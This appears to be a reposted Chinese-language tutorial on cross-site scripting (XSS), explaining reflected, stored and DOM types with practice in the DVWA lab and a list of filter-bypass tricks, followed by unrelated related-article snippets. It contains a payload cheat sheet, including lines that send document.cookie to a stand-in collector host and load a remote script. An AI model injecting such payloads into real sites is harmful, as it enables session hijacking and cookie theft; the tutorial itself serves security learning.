XSS

1.什么是xss

XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

2.xss原理

(1).攻击者对某含有漏洞的服务器发起XSS攻击(注入JS代码)

(2)诱使受害者打开受到攻击的服务器URL(邮件、留言等,此步骤可选项)

(3)受害者在Web浏览器中打开URL,恶意脚本执行。

3.xss类型

 (1)反射性:

        非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

 (2)存储型:

      持久化,代码是存储在服务器中的,如在个人信息或发表文章以及留言板等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等

 (3)DOM:

      DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

4.演练(以下练习均在DVWA环境中实现)

    怎么找到XSS漏洞:

        个人理解:见框就插,因为一般的xss都是存在有文本框的地方。

    常见payload构建:

      <!-- 基本类型 -->

      <script>alert ('xss')</script>
      <script>alert ("xss")</script>
      <script>alert (/xss/)</script>
      <script>alert ('xss');</script>

      <script>alert('document.cookie')</script>  //获取本地cookie

      <!-- 利用基本事件 -->

      <img src=x οnerrοr=alert(1)> //事件会在文档或图像加载过程中发生错误时被触发
      <img scr=x οnlοad=alert(1)> //图片正常加载才执行onload
      <img scr=x οnclick=alert(1)>//事件会在对象被点击时发生

      <img scr=x οnmοuseοver=alert(1) > //当鼠标指针移动到图像上时执行一段 JavaScript:

      <!-- 利用Javascript伪协议 -->

      <iframe src="Javascript:alert(1)"></iframe>

      <!-- XSS获取cookie -->
      <script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
      <script src=http://127.0.0.1/test.js></script>

 

  (1).反射性:

      直接在页面反弹

      payload:<script>alert('xss')</script>

      

      payload:<script>alert(document.cookie)</script> 获取本地cookie

      

  (2)存储型

        插到数据库当中,每次打开都会反弹。大多数存在于留言板。

        payload ; <script>alert('xss')</script>

        

        又插入一个payload:<script>alert('document.cookie')</script>   (两个都会反弹)

          

   (3).DOM

        属于反射性

        payload:<script>alert('xss')</script>  (把原来的参数换成自己的payload)

        

 

 

 5.绕过方法  

1.利用<script>标签
2. 利用html标签的属性值
3. 利用空字符
4. 利用事件
onclick 鼠标单击
onchange 内容发生改变
onerror 图片等未找到时
onload 页面加载
onmouseover 鼠标悬停
onmouseout 鼠标移出
onmousemove 鼠标路过
5. 扰乱过滤规则
1)大小写混合
<sCRipt>alert('xss')</script>
2)引号的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
6. 利用字符编码
1)HTML进制编码
标签中的某些属性值可以使用html十进制、十六进制表示
2)JavaScript编码
JavaScript支持unicode、八进制、十六进制、十进制等
3)URL编码
4)base64编码

 

6.常见绕过实战  

      http://www.cnblogs.com/pangya/p/8979211.html

 

        

 

 

                                      关注网络安全

转载于:https://www.cnblogs.com/pangya/p/8980333.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/353731.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++中引用传递与指针传递区别(进一步整理)

C中引用传递与指针传递区别&#xff08;进一步整理&#xff09; 博客分类&#xff1a; C/C CCC#J# 从概念上讲。指针从本质上讲就是存放变量地址的一个变量&#xff0c;在逻辑上是独立的&#xff0c;它可以被改变&#xff0c;包括其所指向的地址的改变和其指向的地址中所存放的…

Python之匿名函数

一、匿名函数&#xff1a;也叫lambda表达式 1.匿名函数的核心&#xff1a;一些简单的需要用函数去解决的问题&#xff0c;匿名函数的函数体只有一行 2.参数可以有多个&#xff0c;用逗号隔开 3.返回值和正常的函数一样可以是任意的数据类型 二、匿名函数练习 请把下面的函数转换…

C++中const用法总结

C中const用法总结 Posted on 2009-04-21 22:55 月光林地 阅读(7821) 评论(2) 编辑 收藏 1. const修饰普通变量和指针 const修饰变量&#xff0c;一般有两种写法&#xff1a; const TYPE value; TYPE const value; 这两种写法在本质上是一样的。它的含义是&#xff1a;const修…

vaadin_5分钟内Google App Engine上的Vaadin App

vaadin在本教程中&#xff0c;您将学习如何创建第一个Vaadin Web应用程序&#xff0c;如何在本地AppEngine开发服务器上运行它以及如何将其部署到Google App Engine基础结构。 所有这些大约需要5到10分钟。 是的&#xff0c;如果您已经安装了必要的先决条件&#xff0c;则可以立…

【Java深入研究】10、红黑树

一、红黑树介绍 红黑树是二叉查找树&#xff0c;红黑树的时间复杂度为: O(lgn) 红黑树的特性&#xff1a;&#xff08;1&#xff09;每个节点或者是黑色&#xff0c;或者是红色。&#xff08;2&#xff09;根节点是黑色。&#xff08;3&#xff09;每个叶子节点&#xff08;NIL…

MATLAB排序函数

MATLAB排序函数 (2011-06-29 13:02:08) 源自网络 sort(A)若A是向量不管是列还是行向量&#xff0c;默认都是对A进行升序排列。sort(A)是默认的升序&#xff0c;而sort(A,descend)是降序排序。 sort(A)若A是矩阵&#xff0c;默认对A的各列进行升序排列 sort(A,dim) dim1时等效s…

【分形】【洛谷P1498】

https://www.luogu.org/problemnew/show/P1498 题目描述 自从到了南蛮之地&#xff0c;孔明不仅把孟获收拾的服服帖帖&#xff0c;而且还发现了不少少数民族的智慧&#xff0c;他发现少数民族的图腾往往有着一种分形的效果&#xff0c;在得到了酋长的传授后&#xff0c;孔明掌握…

Java认证:认证或不认证

专业认证始终是一个有争议的主题&#xff0c;有资格的人在争论收益与成本/时间之间的关系。 通过Oracle的Java认证&#xff0c;我认为有两个主要的受众可以从中受益&#xff1a; 那些开始从事软件事业的人。 扎实的工作经验和可证明的代码将永远是潜在雇主的首要考虑因素。 但…

linux下杀死进程全权讲解

linux下杀死进程全权讲解 2009-10-27 08:57 佚名 linux 我要评论(0) 字号&#xff1a;T | T本文将详细讲解linux杀死进程的多种命令&#xff0c;包含他们的作用&#xff0c;kill作用&#xff1a;根据进程号杀死进程&#xff1b; killall作用&#xff1a;通过程序的名字&#xf…

python学习笔记(10)--组合数据类型(序列类型)

序列是具有先后关系的一组数据&#xff0c;是一维元素向量&#xff0c;元素类型可以不同&#xff0c;类似数学元素序列&#xff0c;元素间由序号引导&#xff0c;通过下标访问序列的特定元素。序列类型是一个基类类型&#xff0c;字符串类型&#xff0c;元祖类型&#xff0c;列…

Java Process中waitFor()的问题

Java Process中waitFor()的问题 http://yearsaaaa123789.iteye.com/blog/1404865在编写Java程序时&#xff0c;有时候我们需要调用其他的诸如exe,shell这样的程序或脚本。在Java中提供了两种方法来启动其他程序&#xff1a;(1) 使用Runtime的exec()方法(2) 使用ProcessBuilder…

java jsr_Java EE 7中包含哪些JSR?

java jsr我开始填写所有应该包含在Java EE 7中的Java规范请求的表。 由于仍在决定平台版本&#xff0c;因此某些细节很难确定。 完整的Java EE 7 EJB产品具有以下标准组件和API&#xff1a; 名称 版 描述 JSR 网页 个人资料 批处理 1.0 批量处理 352 Bean验证 1…

※※Java调用Runtime.exec()要注意的问题

※※Java调用Runtime.exec()要注意的问题标签&#xff1a;execJavaRuntime字体&#xff1a;【默认中大】 http://it.superkoo.com/#/topic/479/ 最近开发一个项目需要在JAVA中调用VC写的一个EXE程序&#xff0c;首先想到的方法肯定是用Runtime.exec()&#xff0c;但一写就发现&…

应用程序模块和实体缓存

任何具有ADF业务组件基础知识的ADF开发人员都应该熟悉下图&#xff1a; 它代表运行时ADF业务组件的核心构建块。 有一个包含视图对象实例的根应用程序模块实例。 视图对象实例可能由存储在实体集合或换句话说就是实体缓存中的实体对象备份。 根应用程序模块可能还包含嵌套的应…

kubernetes-dashboard(1.8.3)部署与踩坑

Kubernetes Dashboard 是一个管理Kubernetes集群的全功能Web界面&#xff0c;旨在以UI的方式完全替代命令行工具&#xff08;kubectl 等&#xff09;。 目录 部署创建用户集成Heapster访问 kubectl proxyNodePortAPI ServerIngress部署 Dashboard需要用到k8s.gcr.io/kubernetes…

MFC中打开文件对话框:CFileDlg

MFC中打开文件对话框:CFileDlg CFileDialog 文件选择对话框的使用&#xff1a;首先构造一个对象并提供相应的参数&#xff0c;构造函数原型如下&#xff1a; CFileDialog::CFileDialog( BOOL bOpenFileDialog, LPCTSTR lpszDefExt NULL, LPCTSTR lpszFileName NULL, DWORD d…

TCL座机日期时间调整

设置日期时间&#xff1a;1.按“挂断/设置”键&#xff0c;显示“SET 12345678”2.按1&#xff08;一般情况下1为设置日期&#xff09;&#xff0c;显示“1-date 2-cl”&#xff0c;3.按1显示 “d2012 01-01”&#xff08;设置年月日&#xff0c;也就是直接按数字键设定年月日&…

MFC多线程编程

MFC多线程编程 (2007-11-20 17:56:36) 分类&#xff1a; vc 基于MFC的多线程编程 MFC是微软的VC开发集成环境中提供给程序员的基础函数库&#xff0c;它用类库的方式将Win32 API进行封装&#xff0c;以类的方式提供给开发者。由于其快速、简捷、功能强大等特点深受广大开发者喜…

oracle线程阻塞_Oracle Service Bus –线程阻塞案例研究

oracle线程阻塞本案例研究描述了在AIX 6.1和IBM Java VM 1.6上运行的Oracle Service Bus 11g遇到的线程阻塞问题的完整根本原因分析过程。 本文也是您提高线程转储分析技能的绝佳机会&#xff0c;我强烈建议您学习并正确理解以下分析方法。 它还将展示正确数据收集的重要性&…

前端开发 —— BOM

0. BOM vs. DOM BOM&#xff1a;Browser Object Model&#xff0c;浏览器对象模型&#xff0c;是在 web 中使用 JavaScript 的绝对核心&#xff1b; BOM&#xff1a;提供了独立于内容而与浏览器窗口进行交互的对象。BOM 提供了很多对象&#xff08;window、location、navigator…